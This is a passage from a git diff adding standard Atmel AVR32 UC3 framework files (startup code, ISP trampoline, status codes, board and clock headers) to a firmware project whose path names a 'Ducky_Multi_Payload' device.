+udata_clear_loop: + st.d r0++, r2 + cp r0, r1 + brlo udata_clear_loop +udata_clear_loop_end: + +#ifdef CONFIG_FRAME_POINTER + // Safety: Set the default "return" @ to the exit routine address. + lda.w lr, exit +#endif + + // Start the show. + lda.w pc, main + + +//! \endverbatim +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/startup/trampoline_uc3.S b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/startup/trampoline_uc3.S new file mode 100644 index 0000000..b86ee6d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/startup/trampoline_uc3.S @@ -0,0 +1,75 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AVR32 UC3 ISP trampoline. + * + * In order to be able to program a project with both BatchISP and JTAGICE mkII + * without having to take the general-purpose fuses into consideration, add this + * file to the project and change the program entry point to _trampoline. + * + * The pre-programmed ISP will be erased if JTAGICE mkII is used. + * + * - Compiler: GNU GCC for AVR32 + * - Supported devices: All AVR32UC devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include "trampoline_uc3.h" + + +//! @{ +//! \verbatim + + + // This must be linked @ 0x80000000 if it is to be run upon reset. + .section .reset, "ax", @progbits + + + .global _trampoline + .type _trampoline, @function +_trampoline: + // Jump to program start. + rjmp program_start + + .org PROGRAM_START_OFFSET +program_start: + // Jump to the C runtime startup routine. + lda.w pc, _stext + + +//! \endverbatim +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/startup/trampoline_uc3.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/startup/trampoline_uc3.h new file mode 100644 index 0000000..faf09aa --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/startup/trampoline_uc3.h @@ -0,0 +1,52 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ****************************************************************** + * + * \brief UC3 trampoline definitions (default size is 8KB) + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR UC3 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ***************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _TRAMPOLINE_UC3_H_ +#define _TRAMPOLINE_UC3_H_ + +#define PROGRAM_START_ADDRESS (AVR32_FLASH_ADDRESS + PROGRAM_START_OFFSET) +#define PROGRAM_START_OFFSET 0x00002000 + +#endif // _TRAMPOLINE_UC3_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/status_codes.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/status_codes.h new file mode 100644 index 0000000..1f4a21b --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/status_codes.h @@ -0,0 +1,81 @@ +/** + * \file + * + * \brief Status code definitions. + * + * This file defines various status codes returned by functions, + * indicating success or failure as well as what kind of failure. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef STATUS_CODES_H_INCLUDED +#define STATUS_CODES_H_INCLUDED + +/** + * Status code that may be returned by shell commands and protocol + * implementations. + * + * \note Any change to these status codes and the corresponding + * message strings is strictly forbidden. New codes can be added, + * however, but make sure that any message string tables are updated + * at the same time. + */ +enum status_code { + STATUS_OK = 0, //!< Success + ERR_IO_ERROR = -1, //!< I/O error + ERR_FLUSHED = -2, //!< Request flushed from queue + ERR_TIMEOUT = -3, //!< Operation timed out + ERR_BAD_DATA = -4, //!< Data integrity check failed + ERR_PROTOCOL = -5, //!< Protocol error + ERR_UNSUPPORTED_DEV = -6, //!< Unsupported device + ERR_NO_MEMORY = -7, //!< Insufficient memory + ERR_INVALID_ARG = -8, //!< Invalid argument + ERR_BAD_ADDRESS = -9, //!< Bad address + ERR_BUSY = -10, //!< Resource is busy + ERR_BAD_FORMAT = -11, //!< Data format not recognized + + /** + * \brief Operation in progress + * + * This status code is for driver-internal use when an operation + * is currently being performed. + * + * \note Drivers should never return this status code to any + * callers. It is strictly for internal use. + */ + OPERATION_IN_PROGRESS = -128, +}; + +typedef enum status_code status_code_t; + +#endif /* STATUS_CODES_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/boards/board.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/boards/board.h new file mode 100644 index 0000000..d926d53 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/boards/board.h @@ -0,0 +1,194 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Standard board header file. + * + * This file includes the appropriate board header file according to the + * defined board (parameter BOARD). + * + * - Compiler: IAR EWAVR/IAR EWAVR32 and GNU GCC for AVR or AVR32 + * - Supported devices: All AVR devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _BOARD_H_ +#define _BOARD_H_ + +#include "compiler.h" + +#ifdef __cplusplus +extern "C" { +#endif + + +/*! \name Base Boards + */ +//! @{ +#define EVK1100 1 //!< AT32UC3A EVK1100 board. +#define EVK1101 2 //!< AT32UC3B EVK1101 board. +#define UC3C_EK 3 //!< AT32UC3C UC3C_EK board. +#define EVK1104 4 //!< AT32UC3A3 EVK1104 board. +#define EVK1105 5 //!< AT32UC3A EVK1105 board. +#define STK600_RCUC3L0 6 //!< STK600 RCUC3L0 board. +#define UC3L_EK 7 //!< AT32UC3L-EK board. +#define XPLAIN 8 //!< ATxmega128A1 Xplain board. +#define STK600_RC064X 10 //!< ATxmega256A3 STK600 board. +#define STK600_RC100X 11 //!< ATxmega128A1 STK600 board. +#define AVR_HIFI_AUDIO 12 //!< AT32UC3A AVR HiFi Audio board. +#define UC3_A3_XPLAINED 13 //!< ATUC3A3 UC3-A3 Xplained board. +#define UC3_L0_XPLAINED 15 //!< ATUC3L0 UC3-L0 Xplained board. +#define STK600_RCUC3D 16 //!< STK600 RCUC3D board. +#define STK600_RCUC3C0 17 //!< STK600 RCUC3C board. +#define XMEGA_A1_XPLAINED 19 //!< ATxmega128A1 Xplain-A1 board. +#define UC3_L0_XPLAINED_BC 22 //!< ATUC3L0 UC3-L0 Xplained board controller board +#define MEGA1284P_XPLAINED_BC 23 //!< ATmega1284P-Xplained board controller board +#define STK600_RC044X 24 //!< STK600 with RC044X routing card board. +#define STK600_RCUC3B 25 //!< STK600 RCUC3B board. +#define UC3_L0_QT600 26 //!< QT600 UC3L0 MCU board. +#define USER_BOARD 99 //!< User-reserved board (if any). +#define DUMMY_BOARD 100 //!< Dummy board to support board-independent applications (e.g. bootloader) + +//! @} + +/*! \name Extension Boards + */ +//! @{ +#define EXT1102 1 //!< AT32UC3B EXT1102 board +#define MC300 2 //!< AT32UC3 MC300 board +#define SENSORS_XPLAINED_INERTIAL_1 3 //!< Xplained inertial sensor board 1 +#define SENSORS_XPLAINED_INERTIAL_2 4 //!< Xplained inertial sensor board 2 +#define SENSORS_XPLAINED_PRESSURE_1 5 //!< Xplained pressure sensor board +#define SENSORS_XPLAINED_LIGHT_1 6 //!< Xplained light & proximity sensor board +#define SENSORS_XPLAINED_INERTIAL_A1 7 //!< Xplained inertial sensor board "A" + +#define USER_EXT_BOARD 99 //!< User-reserved extension board (if any). +//! @} + +#if BOARD == EVK1100 + #include "evk1100/evk1100.h" +#elif BOARD == EVK1101 + #include "evk1101/evk1101.h" +#elif BOARD == UC3C_EK + #include "uc3c_ek/uc3c_ek.h" +#elif BOARD == EVK1104 + #include "evk1104/evk1104.h" +#elif BOARD == EVK1105 + #include "evk1105/evk1105.h" +#elif BOARD == STK600_RCUC3L0 + #include "stk600/rcuc3l0/stk600_rcuc3l0.h" +#elif BOARD == UC3L_EK + #include "uc3l_ek/uc3l_ek.h" +#elif BOARD == XPLAIN + #include "xplain/xplain.h" +#elif BOARD == STK600_RC044X + #include "stk600/rc044x/stk600_rc044x.h" +#elif BOARD == STK600_RC064X + #include "stk600/rc064x/stk600_rc064x.h" +#elif BOARD == STK600_RC100X + #include "stk600/rc100x/stk600_rc100x.h" +#elif BOARD == AVR_HIFI_AUDIO + #include "avr_hifi_audio/avr_hifi_audio.h" +#elif BOARD == UC3_A3_XPLAINED + #include "uc3_a3_xplained/uc3_a3_xplained.h" +#elif BOARD == UC3_L0_XPLAINED + #include "uc3_l0_xplained/uc3_l0_xplained.h" +#elif BOARD == STK600_RCUC3B + #include "stk600/rcuc3b/stk600_rcuc3b.h" +#elif BOARD == STK600_RCUC3D + #include "stk600/rcuc3d/stk600_rcuc3d.h" +#elif BOARD == STK600_RCUC3C0 + #include "stk600/rcuc3c0/stk600_rcuc3c0.h" +#elif BOARD == XMEGA_A1_XPLAINED + #include "xmega_a1_xplained/xmega_a1_xplained.h" +#elif BOARD == UC3_L0_XPLAINED_BC + #include "uc3_l0_xplained_bc/uc3_l0_xplained_bc.h" +#elif BOARD == MEGA1284P_XPLAINED_BC + #include "mega1284p_xplained_bc/mega1284p_xplained_bc.h" +#elif BOARD == UC3_L0_QT600 + #include "uc3_l0_qt600/uc3_l0_qt600.h" +#elif BOARD == USER_BOARD + // User-reserved area: #include the header file of your board here (if any). + #include "user_board.h" +#elif BOARD == DUMMY_BOARD + #include "dummy/dummy_board.h" +#else + #error No known AVR board defined +#endif + +#if (defined EXT_BOARD) + #if EXT_BOARD == MC300 + #include "mc300/mc300.h" + #elif (EXT_BOARD == SENSORS_XPLAINED_INERTIAL_1) || \ + (EXT_BOARD == SENSORS_XPLAINED_INERTIAL_2) || \ + (EXT_BOARD == SENSORS_XPLAINED_INERTIAL_A1) || \ + (EXT_BOARD == SENSORS_XPLAINED_PRESSURE_1) || \ + (EXT_BOARD == SENSORS_XPLAINED_LIGHT_1) + #include "sensors_xplained/sensors_xplained.h" + #elif EXT_BOARD == USER_EXT_BOARD + // User-reserved area: #include the header file of your extension board here + // (if any). + #endif +#endif + + +#if (defined(__GNUC__) && defined(__AVR32__)) || (defined(__ICCAVR32__) || defined(__AAVR32__)) +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +/*! \brief This function initializes the board target resources + * + * This function should be called to ensure proper initialization of the target + * board hardware connected to the part. + */ +extern void board_init(void); + +#endif // #ifdef __AVR32_ABI_COMPILER__ +#else +/*! \brief This function initializes the board target resources + * + * This function should be called to ensure proper initialization of the target + * board hardware connected to the part. + */ +extern void board_init(void); +#endif + + +#ifdef __cplusplus +} +#endif + +#endif // _BOARD_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/genclk.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/genclk.h new file mode 100644 index 0000000..f9b145a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/genclk.h @@ -0,0 +1,136 @@ +/** + * \file + * + * \brief Generic clock management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CLK_GENCLK_H_INCLUDED +#define CLK_GENCLK_H_INCLUDED + +#include + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/genclk.h" +#elif UC3A3 +# include "uc3a3_a4/genclk.h" +#elif UC3B +# include "uc3b0_b1/genclk.h" +#elif UC3C +# include "uc3c/genclk.h" +#elif UC3D +# include "uc3d/genclk.h" +#elif UC3L +# include "uc3l/genclk.h" +#else +# error Unsupported chip type +#endif + +/** + * \ingroup clk_group + * \defgroup genclk_group Generic Clock Management + * + * Generic clocks are configurable clocks which run outside the system + * clock domain. They are often connected to peripherals which have an + * asynchronous component running independently of the bus clock, e.g. + * USB controllers, low-power timers and RTCs, etc. + * + * Note that not all platforms have support for generic clocks; on such + * platforms, this API will not be available. + * + * @{ + */ + +/** + * \def GENCLK_DIV_MAX + * \brief Maximum divider supported by the generic clock implementation + */ +/** + * \enum genclk_source + * \brief Generic clock source ID + * + * Each generic clock may be generated from a different clock source. + * These are the available alternatives provided by the chip. + */ + +//! \name Generic clock configuration +//@{ +/** + * \struct genclk_config + * \brief Hardware representation of a set of generic clock parameters + */ +/** + * \fn void genclk_config_defaults(struct genclk_config *cfg, + * unsigned int id) + * \brief Initialize \a cfg to the default configuration for the clock + * identified by \a id. + */ +/** + * \fn void genclk_config_read(struct genclk_config *cfg, unsigned int id) + * \brief Read the currently active configuration of the clock + * identified by \a id into \a cfg. + */ +/** + * \fn void genclk_config_write(const struct genclk_config *cfg, + * unsigned int id) + * \brief Activate the configuration \a cfg on the clock identified by + * \a id. + */ +/** + * \fn void genclk_config_set_source(struct genclk_config *cfg, + * enum genclk_source src) + * \brief Select a new source clock \a src in configuration \a cfg. + */ +/** + * \fn void genclk_config_set_divider(struct genclk_config *cfg, + * unsigned int divider) + * \brief Set a new \a divider in configuration \a cfg. + */ +//@} + +//! \name Enabling and disabling Generic Clocks +//@{ +/** + * \fn void genclk_enable(const struct genclk_config *cfg, unsigned int id) + * \brief Activate the configuration \a cfg on the clock identified by + * \a id and enable it. + */ +/** + * \fn void genclk_disable(unsigned int id) + * \brief Disable the generic clock identified by \a id. + */ +//@} + +//! @} + +#endif /* CLK_GENCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/osc.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/osc.h new file mode 100644 index 0000000..4e96100 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/osc.h @@ -0,0 +1,145 @@ +/** + * \file + * + * \brief Oscillator management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef OSC_H_INCLUDED +#define OSC_H_INCLUDED + +#include +#include "conf_clock.h" + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/osc.h" +#elif UC3A3 +# include "uc3a3_a4/osc.h" +#elif UC3B +# include "uc3b0_b1/osc.h" +#elif UC3C +# include "uc3c/osc.h" +#elif UC3D +# include "uc3d/osc.h" +#elif UC3L +# include "uc3l/osc.h" +#elif XMEGA +# include "xmega/osc.h" +#else +# error Unsupported chip type +#endif + +/** + * \ingroup clk_group + * \defgroup osc_group Oscillator Management + * + * This group contains functions and definitions related to configuring + * and enabling/disabling on-chip oscillators. Internal RC-oscillators, + * external crystal oscillators and external clock generators are + * supported by this module. What all of these have in common is that + * they swing at a fixed, nominal frequency which is normally not + * adjustable. + * + * \par Example: Enabling an oscillator + * + * The following example demonstrates how to enable the external + * oscillator on XMEGA A and wait for it to be ready to use. The + * oscillator identifiers are platform-specific, so while the same + * procedure is used on all platforms, the parameter to osc_enable() + * will be different from device to device. + * \code + osc_enable(OSC_ID_XOSC); + osc_wait_ready(OSC_ID_XOSC); \endcode + * + * \section osc_group_board Board-specific Definitions + * If external oscillators are used, the board code must provide the + * following definitions for each of those: + * - \b BOARD__HZ: The nominal frequency of the oscillator. + * - \b BOARD__STARTUP_US: The startup time of the + * oscillator in microseconds. + * - \b BOARD__TYPE: The type of oscillator connected, i.e. + * whether it's a crystal or external clock, and sometimes what kind + * of crystal it is. The meaning of this value is platform-specific. + * + * @{ + */ + +//! \name Oscillator Management +//@{ +/** + * \fn void osc_enable(uint8_t id) + * \brief Enable oscillator \a id + * + * The startup time and mode value is automatically determined based on + * definitions in the board code. + */ +/** + * \fn void osc_disable(uint8_t id) + * \brief Disable oscillator \a id + */ +/** + * \fn osc_is_ready(uint8_t id) + * \brief Determine whether oscillator \a id is ready. + * \retval true Oscillator \a id is running and ready to use as a clock + * source. + * \retval false Oscillator \a id is not running. + */ +/** + * \fn uint32_t osc_get_rate(uint8_t id) + * \brief Return the frequency of oscillator \a id in Hz + */ + +#ifndef __ASSEMBLY__ + +/** + * \brief Wait until the oscillator identified by \a id is ready + * + * This function will busy-wait for the oscillator identified by \a id + * to become stable and ready to use as a clock source. + * + * \param id A number identifying the oscillator to wait for. + */ +static inline void osc_wait_ready(uint8_t id) +{ + while (!osc_is_ready(id)) { + /* Do nothing */ + } +} + +#endif /* __ASSEMBLY__ */ + +//@} + +//! @} + +#endif /* OSC_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/pll.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/pll.h new file mode 100644 index 0000000..2d67031 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/pll.h @@ -0,0 +1,277 @@ +/** + * \file + * + * \brief PLL management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CLK_PLL_H_INCLUDED +#define CLK_PLL_H_INCLUDED + +#include +#include "conf_clock.h" + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/pll.h" +#elif UC3A3 +# include "uc3a3_a4/pll.h" +#elif UC3B +# include "uc3b0_b1/pll.h" +#elif UC3C +# include "uc3c/pll.h" +#elif UC3D +# include "uc3d/pll.h" +#elif XMEGA +# include "xmega/pll.h" +#else +# error Unsupported chip type +#endif + +/** + * \ingroup clk_group + * \defgroup pll_group PLL Management + * + * This group contains functions and definitions related to configuring + * and enabling/disabling on-chip PLLs. A PLL will take an input signal + * (the \em source), optionally divide the frequency by a configurable + * \em divider, and then multiply the frequency by a configurable \em + * multiplier. + * + * Some devices don't support input dividers; specifying any other + * divisor than 1 on these devices will result in an assertion failure. + * Other devices may have various restrictions to the frequency range of + * the input and output signals. + * + * \par Example: Setting up PLL0 with default parameters + * + * The following example shows how to configure and enable PLL0 using + * the default parameters specified using the configuration symbols + * listed above, and with Wide Bandwidth Mode disabled (a UC3A3-specific + * PLL option.) + * \code + struct pll_config pllcfg; + + pll_config_defaults(&pllcfg, 0); + pll_config_set_option(&pllcfg, PLL_OPT_WBM_DISABLE); + pll_enable(&pllcfg, 0); + pll_wait_for_lock(0); \endcode + * + * When the last function call returns, PLL0 is ready to be used as the + * main system clock source. + * + * \section pll_group_config Configuration Symbols + * + * Each PLL has a set of default parameters determined by the following + * configuration symbols in the application's configuration file: + * - \b CONFIG_PLLn_SOURCE: The default clock source connected to the + * input of PLL \a n. Must be one of the values defined by the + * #pll_source enum. + * - \b CONFIG_PLLn_MUL: The default multiplier (loop divider) of PLL + * \a n. + * - \b CONFIG_PLLn_DIV: 